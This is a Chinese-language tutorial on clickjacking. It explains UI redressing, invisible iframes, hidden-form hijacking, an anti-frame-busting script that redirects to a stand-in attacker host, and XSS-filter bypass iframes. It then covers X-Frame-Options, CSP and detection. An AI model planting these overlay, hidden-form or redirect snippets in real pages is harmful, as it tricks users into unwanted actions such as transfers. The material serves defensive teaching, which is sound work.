引言
点击劫持是一种精心设计的攻击技术,攻击者通过视觉欺骗的方式,诱导用户在不知情的情况下点击恶意内容。这种攻击方式利用了Web界面的视觉特性,通过巧妙的界面重叠,使用户的操作被转移到隐藏的恶意元素上。
核心攻击技术
1. UI重定向(UI Redressing)
UI重定向是点击劫持最基础也是最常见的技术。其核心原理是通过CSS属性操作,将恶意内容以透明方式覆盖在正常界面之上。
以下是一个典型的UI重定向攻击示例:
<div style="opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;">
<a href="malicious-link">点击这里</a>
</div>
这段代码的关键技术点在于:
- 使用
position: absolute
确保覆盖层的精确定位 - 通过
opacity: 0
实现视觉上的透明效果 - 设置
height: 100%; width: 100%
确保完全覆盖目标区域
2. 隐形框架技术(Invisible Frames)
隐形框架是点击劫持的另一个重要实现方式,它主要利用iframe元素的特性来实现攻击目的。
关键实现代码:
<iframe src="malicious-site" style="opacity: 0; height: 0; width: 0; border: none;"></iframe>
这种攻击方式的特点是:
- 通过将iframe尺寸设置为0来隐藏其存在
- 移除边框以消除视觉提示
- 可以加载远程恶意内容而不被用户察觉
3. 按钮与表单劫持(Button/Form Hijacking)
这是一种更为复杂的攻击方式,通常涉及到多层界面交互的操作。下面是一个综合示例:
<button onclick="submitForm()">点击获取奖励</button>
<form action="malicious-site" method="POST" id="hidden-form">
<input type="hidden" name="username" value="victim">
<input type="hidden" name="action" value="transfer">
</form>
<script>
function submitForm() {
document.getElementById('hidden-form').submit();
}
</script>
技术要点分析:
- 创建看似无害的交互按钮
- 隐藏包含恶意操作的表单
- 通过JavaScript事件处理器连接可见元素和隐藏操作
高级攻击技术
1. onBeforeUnload 事件利用
这是一种较为高级的攻击技术,通过阻止用户离开被攻击的页面来维持攻击状态:
<script>
var prevent_bust = 0;
window.onbeforeunload = function() {
prevent_bust++;
};
setInterval(function() {
if (prevent_bust > 0) {
prevent_bust -= 2;
window.top.location = "http://attacker.site/204.php";
}
}, 1);
</script>
技术原理:
- 利用
onbeforeunload
事件拦截页面卸载操作 - 通过计数器机制确保持续的攻击效果
- 结合HTTP 204响应维持攻击页面的存在
2. XSS过滤器绕过技术
现代浏览器的XSS过滤机制有时可能被利用来协助点击劫持攻击。以下是两种典型的绕过方式:
IE8 XSS过滤器绕过:
<iframe src="http://target-site/?param=<script>if">
Chrome XSSAuditor绕过:
<iframe src="http://target-site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D">
防御策略
1. X-Frame-Options 头部实现
最基本也是最有效的防御方式之一:
Header always append X-Frame-Options SAMEORIGIN
这个响应头的三个可选值:
DENY
:完全禁止页面被嵌入框架SAMEORIGIN
:允许同源域名下的框架嵌入ALLOW-FROM uri
:允许指定来源的框架嵌入
2. 内容安全策略(CSP)
CSP提供了更细粒度的安全控制:
<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self';">
CSP的优势在于:
- 可以指定多个允许的来源
- 提供更现代的安全控制机制
- 与其他安全策略良好兼容
3. JavaScript防御代码
虽然不是最可靠的方式,但作为深度防御策略的一部分,可以添加JavaScript防御代码:
if (top !== self) {
top.location = self.location;
}
需要注意的是:
- JavaScript防御可能被禁用
- 某些浏览器的安全设置可能影响防御代码的执行
- 应该将其作为多层防御策略的补充,而不是主要依赖
检测与验证
要发现网站是否存在点击劫持漏洞,可以采用以下方法:
-
手动检查响应头
- 验证是否存在X-Frame-Options头部
- 检查CSP配置是否合理
-
自动化测试工具
- Burp Suite的点击劫持模块
- OWASP ZAP的相关扫描功能
-
POC验证
<html>
<head>
<title>Clickjacking Test</title>
</head>
<body>
<iframe src="https://target-site.com" width="500" height="500" style="opacity: 0.5;"></iframe>
<div style="position: absolute; top: 100px; left: 50px;">
<button>测试按钮</button>
</div>
</body>
</html>
防护建议
-
多层防御策略
- 同时采用X-Frame-Options和CSP
- 实现JavaScript框架破除代码
- 定期进行安全审计
-
开发建议
- 敏感操作增加二次确认机制
- 实现基于令牌的请求验证
- 关键功能添加用户认证要求
-
运维建议
- 定期更新安全配置
- 监控异常框架嵌入行为
- 建立安全响应机制